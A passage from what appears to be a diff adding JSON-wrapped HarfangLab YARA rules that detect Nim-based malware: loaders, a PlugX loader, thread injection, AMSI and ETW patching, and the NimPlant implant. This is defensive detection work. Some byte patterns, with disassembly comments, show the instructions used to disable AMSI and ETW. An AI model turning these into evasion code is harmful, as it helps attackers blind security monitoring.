+  "creation_date": "2026-03-23T11:46:25.585579Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585588Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/adamsvoboda/nim-loader"
+  ],
+  "name": "nim_injectedthread.yar",
+  "content": "rule nim_injectedthread {\n    meta:\n        title = \"Nim InjectedThread\"\n        id = \"d69dbb0f-2efd-4d51-8c5e-4bd6b5282ad1\"\n        description = \"Detects malicious code written in the Nim programming language that can inject threads.\\nThread Execution Hijacking is often employed by attackers to bypass process-based security measures and evade detection. The technique allows the injected code to execute in the context of a legitimate process, making it harder to identify and block.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/adamsvoboda/nim-loader\"\n        date = \"2023-08-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055.003\"\n        classification = \"Windows.Generic.SuspiciousNim\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 08da5891d1fc0a0ef45cf8076d7fa780b780a253cbf3fdbfff76b6495fc4e7fa\n        // 9127f4731cb668c005941f22e29406e5973f97a54faa0ea3d8b91b163e37b19a\n\n        $s1 = \"fatal.nim\" ascii fullword\n\n        // https://github.com/nim-lang/Nim/blob/devel/lib/pure/osproc.nim\n        // strings related to startProcess() usage\n        $s2 = \"@Requested command not found: '$1'. OS error:\" ascii fullword\n        $s3 = \"@\\\\\\\\.\\\\pipe\\\\stdin\" ascii fullword\n        $s4 = \"@\\\\\\\\.\\\\pipe\\\\stdout\" ascii fullword\n\n        $s5 = \"CreateProcessW\" ascii fullword\n        $s6 = \"SuspendThread\" ascii fullword\n\n    condition:\n        uint16(0) == 0x5a4d and all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_injectedthread"
+  ],
+  "rule_creation_date": "2023-08-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.SuspiciousNim"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_loader_632d32916eb0_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573075Z",
+  "creation_date": "2026-03-23T11:46:25.573077Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573083Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/"
+  ],
+  "name": "nim_loader_632d32916eb0.yar",
+  "content": "rule nim_loader_632d32916eb0 {\n    meta:\n        title = \"Malicious Nim Loader (632d32916eb0)\"\n        id = \"d4b74817-196a-4203-9a94-632d32916eb0\"\n        description = \"Detects a malicious Nim loader.\\nThis loader is designed to execute malicious payloads and often employs advanced evasion techniques to avoid detection by security products. Nim's unique features make it a preferred choice for attackers due to its ability to generate lightweight and fast-executing binaries that can bypass common detection mechanisms.\"\n        references = \"https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/\"\n        date = \"2023-03-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Loader.UnknownNim\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 2b55d1723b53afae60b5a9a45084ba5e2f9e4e5b77d3371ec640284024546f2c\n        // 66eb7870aa93ccacb2468a89585f6f2549973e98911e7b96b81cf3c498f2aba3\n        // 21805ccaf3bb9903956a39ecca033c1f8d1345f5dca938e50930e03547cf89e8\n        // 62d54d9c5070f3e38f4ecfa093c46973abae1b762274a4ed972cd0e38ba5343e\n        // b4113afcc409f7d8f905594ee39e1b6b9279f96b7b8011b2f2d39ce2ca03bb4e\n\n        $s1 = \" failed to reset memory back to it's orignal protections:\" ascii\n        $s2 = \" failed to write bytes to target address:\" ascii\n        $s3 = \" failed to modify memory permissions:\" ascii\n        $s4 = \"@[!] Failed to Get Syscall Stub:\" ascii fullword\n        $s5 = \"@[*] Found Syscall Stub:\" ascii fullword\n        $s6 = \"@TnRXYWl0Rm9yU2luZ2xlT2JqZWN0\" ascii fullword\n        $s7 = \"@TnRBbGVydFJlc3VtZVRocmVhZA==\" ascii fullword\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_loader_632d32916eb0"
+  ],
+  "rule_creation_date": "2023-03-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.UnknownNim"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_loader_b49415641661_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568607Z",
+  "creation_date": "2026-03-23T11:46:25.568609Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568615Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/"
+  ],
+  "name": "nim_loader_b49415641661.yar",
+  "content": "rule nim_loader_b49415641661 {\n    meta:\n        title = \"Malicious Nim Loader (b49415641661)\"\n        id = \"1f877329-2498-467b-9924-b49415641661\"\n        description = \"Detects an unknown Nim loader.\\nNim is a programming language frequently used by attackers to develop custom loaders that can evade detection by EDR and antivirus solutions.\\nThese loaders are often designed to execute malicious payloads while avoiding analysis and can implement various anti-debugging and anti-unsigned scanning techniques.\"\n        references = \"https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/\"\n        date = \"2023-08-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Loader.UnknownNim\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 917f15d198b4b8da90a959120e932ce64479e03c3c689ac61b89d59c70846d66\n        // dae46d1d01ffd12787afd64bb06a6749584ce3b1f116a7965af97261a6dfda77\n        // d40aa50a41da5abb7d0d9bcae0da06df028fdf8da5ee1171f0f0b5203259f018\n\n        $s1 = \"fatal.nim\" ascii fullword\n\n        // sub_140007AF9\n        $dynamic1 = {\n            53                                            // push    rbx\n            48 83 EC 20                                   // sub     rsp, 20h\n            48 89 D3                                      // mov     rbx, rdx\n            E8 ?? ?? FF FF                                // call    sub_14000577D\n            45 31 C0                                      // xor     r8d, r8d\n            48 85 C0                                      // test    rax, rax\n            74 03                                         // jz      short loc_140007B11\n            4C 8B 00                                      // mov     r8, [rax]\n\n                                        // loc_140007B11:\n            49 89 DA                                      // mov     r10, rbx\n            0F B6 D7                                      // movzx   edx, bh\n            49 89 D9                                      // mov     r9, rbx\n            49 C1 FA 10                                   // sar     r10, 10h\n            49 C1 F9 18                                   // sar     r9, 18h\n            31 C9                                         // xor     ecx, ecx\n            44 31 D2                                      // xor     edx, r10d\n            31 DA                                         // xor     edx, ebx\n            44 31 CA                                      // xor     edx, r9d\n\n                                        // loc_140007B2C:\n            4C 39 C1                                      // cmp     rcx, r8\n            7D 09                                         // jge     short loc_140007B3A\n            30 54 08 10                                   // xor     [rax+rcx+10h], dl\n            48 FF C1                                      // inc     rcx\n            EB F2                                         // jmp     short loc_140007B2C\n\n                                        // loc_140007B3A:\n            48 83 C4 20                                   // add     rsp, 20h\n            5B                                            // pop     rbx\n            C3                                            // retn\n        }\n\n        // sub_140007AA5\n        $dynamic2 = {\n            8D 14 0B                                      // lea     edx, [rbx+rcx]\n            32 54 08 10                                   // xor     dl, [rax+rcx+10h]\n            4D 89 C2                                      // mov     r10, r8\n            49 C1 FA 08                                   // sar     r10, 8\n            44 31 D2                                      // xor     edx, r10d\n            4D 89 C2                                      // mov     r10, r8\n            49 C1 F8 18                                   // sar     r8, 18h\n            49 C1 FA 10                                   // sar     r10, 10h\n            44 31 D2                                      // xor     edx, r10d\n            44 31 C2                                      // xor     edx, r8d\n            88 54 08 10                                   // mov     [rax+rcx+10h], dl\n            48 FF C1                                      // inc     rcx\n            EB CC                                         // jmp     short loc_140007ABF\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and $s1 and 1 of ($dynamic*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_loader_b49415641661"
+  ],
+  "rule_creation_date": "2023-08-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.UnknownNim"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_loader_plugx_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564898Z",
+  "creation_date": "2026-03-23T11:46:25.564900Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564906Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/"
+  ],
+  "name": "nim_loader_plugx.yar",
+  "content": "rule nim_loader_plugx {\n    meta:\n        title = \"PlugX Nim Loader\"\n        id = \"e43e1580-2a4a-4e25-b59c-4fcdba5f757d\"\n        description = \"Detects the PlugX Nim loader used in campaigns by threat actors Mustang Panda and Red Delta.\\nPlugX is a known malware family that employs Nim-based loaders to evade detection mechanisms.\\nThis loader was observed in 2023/2024 campaigns and is designed to execute malicious activities on Windows and Linux systems.\"\n        references = \"https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/\"\n        date = \"2024-09-25\"\n        modified = \"2025-05-13\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027\"\n        classification = \"Loader.PlugxNimLoader\"\n        context = \"process,memory,thread,file.pe,file.elf\"\n        os = \"Windows,Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1bde2b050117d7f27e55a71b4795476decace1850587a17d6cf6fd3fc030ff1a\n        // 83946986b28fd8d04d59bab994cd2dc48e83b9711a8f453d8364c2ad27ea0254\n        // c25b3a3d7779cb89772454a756ce48ed3744cf233564d309b6f8d19bd8e26fa4\n        // 77bf6981bcce892d9c3e7a7dc30f85437fd93791074e17f2b8e3fb34b7a6abcd\n        // b46c3eb310330fe9f4e56102ef6a7c6d897d93d4d441d5e0fd9840881dcb37bf\n        // a3917b4f8f172c8915d124b8bdf33ad60a5c07b88c736867584f0623bee28d5e\n        // 288e79407daae7ae9483ef789d035d464cf878a611db453675ba1a2f6beb1a03\n        // b4cdff82abbe24dcd123525ca2c6aae86bb39c2ff6914f0e539a3d00f47f82fc\n        // 711d1e6a3045d7c81cd9e9b005e5571f4f3e31c1a7d387634b6826372fbdde75\n        // 65f4208e7335b4a3c5f091a7801420b3e7b3fe5d774357dec2198200f369bc2a\n        // ee9c935adae0d830cdc0fccd12b19c32be4f15dffcf454a9d807016ce59ff9a9\n\n        $s_api_hashing_V1 = {\n            31 D2                // xor     edx, edx\n            6A 00                // push    0\n            (68 ED AD 31 0A|68 F0 9E 3A 23|68 7D B7 18 0C|68 A5 F0 55 65|68 25 F6 10 53|68 A5 EA 5E 50|68 61 64 DA 13|68 50 94 2A 71|68 77 A3 35 5E|68 07 99 C5 20|68 22 94 39 07|68 33 97 27 75|68 60 99 7D 23|68 31 AF 18 3D|68 0F 91 39 3C|68 21 A3 3D 3F)\n            E8 [2] FF FF         // call    api_hashing\n            80 7D 00 00          // cmp     byte ptr [ebp+0], 0\n            0F 85                // jnz     loc_1000F24D\n        }\n\n        $s_api_hashing_V2 = {\n            6A 00              // push    0\n            (68 ED AD 31 0A|68 F0 9E 3A 23|68 7D B7 18 0C|68 A5 F0 55 65|68 25 F6 10 53|68 A5 EA 5E 50|68 61 64 DA 13|68 50 94 2A 71|68 77 A3 35 5E|68 07 99 C5 20|68 22 94 39 07|68 33 97 27 75|68 60 99 7D 23|68 31 AF 18 3D|68 0F 91 39 3C|68 21 A3 3D 3F)\n            33 D2              // xor     edx, edx\n            A3 [1] 43 02 10    // mov     dword_100243CC, eax\n            8B CF              // mov     ecx, edi\n            E8 [2] FF FF       // call    sub_10007E36\n            80 3E 00           // cmp     byte ptr [esi], 0\n            75                 // jnz     short loc_100086E9\n        }\n\n        $s_api_hashing_V3 = {\n            55                                                             // push    ebp\n            (68 ED AD 31 0A|68 F0 9E 3A 23|68 7D B7 18 0C|68 A5 F0 55 65|68 25 F6 10 53|68 A5 EA 5E 50|68 61 64 DA 13|68 50 94 2A 71|68 77 A3 35 5E|68 07 99 C5 20|68 22 94 39 07|68 33 97 27 75|68 60 99 7D 23|68 31 AF 18 3D|68 0F 91 39 3C|68 21 A3 3D 3F)\n            33 D2                                                          // xor     edx, edx\n            A3 [1] 16 02 10                                                // mov     dword_100216E8, eax\n            8B CE                                                          // mov     ecx, esi\n            E8 [2] FF FF                                                   // call    sub_10005CD4\n            55                                                             // push    ebp\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_loader_plugx"
+  ],
+  "rule_creation_date": "2024-09-25",
+  "rule_modified_date": "2025-05-13",
+  "rule_os": [
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Loader.PlugxNimLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_patchamsi_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576663Z",
+  "creation_date": "2026-03-23T11:46:25.576665Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576671Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/adamsvoboda/nim-loader\nhttps://github.com/maninwire/nimLoader/blob/main/nimLoader.nim"
+  ],
+  "name": "nim_patchamsi.yar",
+  "content": "rule nim_patchamsi {\n    meta:\n        title = \"Nim patchAMSI\"\n        id = \"4e0c8bae-ceaf-404a-b0b8-e96bcb1aca41\"\n        description = \"Detects suspicious code written in the Nim programming language that can patch the AMSI (Antimalware Scan Interface).\\nAMSI is a security feature that allows applications and services to integrate with security products, widely used by EDR solutions.\\nAttackers often attempt to disable AMSI to hide malicious activities.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/adamsvoboda/nim-loader\\nhttps://github.com/maninwire/nimLoader/blob/main/nimLoader.nim\"\n        date = \"2023-08-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1562.006\"\n        classification = \"Windows.Generic.NimAMSIBypass\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 01d14c58acdc8a46a28f4cff81589ff50b8a1843bfef8174fc4f7e734df5a190\n        // 6d98c8bdb20a85ef44677f3e7eed32c9fee0c18354e3365c28e11cb6130a8794\n\n        $s1 = \"fatal.nim\" ascii fullword\n        $s2 = \"AmsiScanBuffer\" ascii fullword\n        $s3 = \"@amsi\" ascii fullword\n\n        $loadlib = {\n            4C 8D ?? ?? ?? ?? 00                          // lea     r8, unk_14000F740\n            48 85 C9                                      // test    rcx, rcx\n            74 0A                                         // jz      short loc_140005286\n            48 83 39 00                                   // cmp     qword ptr [rcx], 0\n            74 04                                         // jz      short loc_140005286\n            4C 8D 41 10                                   // lea     r8, [rcx+10h]\n\n                                            // loc_140005286:\n            4C 89 C1                                      // mov     rcx, r8\n            48 FF 25 ?? ?? ?? 00                          // jmp     cs:__imp_LoadLibraryA\n        }\n\n        $patch1 = {\n            41 C7 ?? ?? B8 57 00 07                       // mov     dword ptr [r12], 70057B8h\n            4C 8D 4C 24 2C                                // lea     r9, [rsp+48h+var_1C]\n            44 8B 44 24 28                                // mov     r8d, [rsp+48h+var_20]\n            4C 89 ??                                      // mov     rcx, r12\n            66 41 C7 [1-2] ?? 80 C3                       // mov     word ptr [r12+4], 0C380h\n            BA 06 00 00 00                                // mov     edx, 6\n            FF 13                                         // call    qword ptr [rbx] (VirtualProtect)\n        }\n\n        $patch2 = {\n            C7 44 ?? ?? B8 57 00 07                       // mov     [rsp+88h+var_46], 70057B8h\n            66 C7 ?? ?? ?? 80 C3                          // mov     [rsp+88h+var_42], 0C380h\n            E8 ?? ?? ?? ??                                // call    sub_1400083B0\n        }\n\n    condition:\n        (uint16(0) == 0x5a4d and all of ($s*)) or\n        (all of ($s*) and $loadlib and 1 of ($patch*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_patchamsi"
+  ],
+  "rule_creation_date": "2023-08-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.NimAMSIBypass"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_patchetw_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572009Z",
+  "creation_date": "2026-03-23T11:46:25.572013Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572022Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/adamsvoboda/nim-loader\nhttps://github.com/maninwire/nimLoader/blob/main/nimLoader.nim"
+  ],
+  "name": "nim_patchetw.yar",
+  "content": "rule nim_patchetw {\n    meta:\n        title = \"Nim patchETW\"\n        id = \"aadf076f-afab-4476-a791-7bd9fe4b28bb\"\n        description = \"Detects suspicious code using Nim programming language that can patch ETWs (Event Tracing for Windows).\\nETW is a feature that provides telemetry data from kernel and user space and is widely used by EDR (Endpoint Detection & Response) solutions.\\nAttackers often disable host-based sensors like ETWs to hide their malicious activities.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/adamsvoboda/nim-loader\\nhttps://github.com/maninwire/nimLoader/blob/main/nimLoader.nim\"\n        date = \"2023-08-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.006\"\n        classification = \"Windows.Generic.NimETWBypass\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2a1cddb87aae7ef1561f5fd99ec558c1bf2db6988bc3621aa386845186bc9350\n\n        $s1 = \"fatal.nim\" ascii fullword\n        $s2 = \"@ntdll\" ascii fullword\n\n        $f1 = \"NtTraceEvent\" ascii fullword\n        $f2 = \"EtwEventWrite\" ascii fullword\n\n        $loadlib = {\n            4C 8D ?? ?? ?? ?? 00                          // lea     r8, unk_14000F740\n            48 85 C9                                      // test    rcx, rcx\n            74 0A                                         // jz      short loc_140005286\n            48 83 39 00                                   // cmp     qword ptr [rcx], 0\n            74 04                                         // jz      short loc_140005286\n            4C 8D 41 10                                   // lea     r8, [rcx+10h]\n\n                                            // loc_140005286:\n            4C 89 C1                                      // mov     rcx, r8\n            48 FF 25 ?? ?? ?? 00                          // jmp     cs:__imp_LoadLibraryA\n        }\n\n        $patch_nttraceevent = {\n            66 41 C7 04 24 C3 90                          // mov     word ptr [r12], 90C3h\n            4C 8D 4C 24 2C                                // lea     r9, [rsp+48h+var_1C]\n            BA 03 00 00 00                                // mov     edx, 3\n            4C 89 E1                                      // mov     rcx, r12\n            41 C6 44 24 02 90                             // mov     byte ptr [r12+2], 90h\n            44 8B 44 24 28                                // mov     r8d, [rsp+48h+var_20]\n            FF 13                                         // call    qword ptr [rbx] (VirtualProtect)\n        }\n\n        $patch_etweventwrite1 = {\n            41 C6 45 00 C3                                // mov     byte ptr [r13+0], 0C3h\n            4C 8D 4C 24 2C                                // lea     r9, [rsp+48h+var_1C]\n            44 8B 44 24 28                                // mov     r8d, [rsp+48h+var_20]\n            4C 89 ??                                      // mov     rcx, r13\n            BA 01 00 00 00                                // mov     edx, 1\n            FF 13                                         // call    qword ptr [rbx] (VirtualProtect)\n        }\n\n        $patch_etweventwrite2 = {\n            41 B9 01 00 00 00                             // mov     r9d, 1\n            4C 8D ?? ?? ?? 00 00                          // lea     r8, unk_14001E008\n            48 89 C1                                      // mov     rcx, rax\n            48 8D 44 24 48                                // lea     rax, [rsp+68h+var_20]\n            48 89 44 24 20                                // mov     [rsp+68h+var_48], rax\n            E8 ?? ?? ?? ??                                // call    sub_140012045\n        }\n\n    condition:\n        (uint16(0) == 0x5a4d and all of ($s*) and 1 of ($f*)) or\n        (all of ($s*) and 1 of ($f*) and $loadlib and 1 of ($patch_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_patchetw"
+  ],
+  "rule_creation_date": "2023-08-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.NimETWBypass"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nimplant_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573522Z",
+  "creation_date": "2026-03-23T11:46:25.573524Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573530Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/chvancooten/NimPlant"
+  ],
+  "name": "nimplant.yar",
+  "content": "rule nimplant {\n    meta:\n        title = \"NimPlant\"\n        id = \"2ed64efb-f61a-46ce-b8aa-8261a4ca0599\"\n        description = \"Detects lightweight first-stage C2 implant of NimPlant.\\nNimPlant has been adopted by red team operations and security researchers for stealth command and control activities.\\nNimPlant follows the philosophy of \\\"evasion through benign functionality\\\" and is designed to blend in with legitimate traffic.\\nThis implant has been observed in penetration testing engagements and was highlighted as a preferred choice by prominent security researchers since 2021.\\nNimPlant implements encrypted HTTPS communication and can deploy additional payloads via dynamic invocation.\"\n        references = \"https://github.com/chvancooten/NimPlant\"\n        date = \"2025-03-28\"\n        modified = \"2025-05-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Trojan.NimImplant\"\n        context = 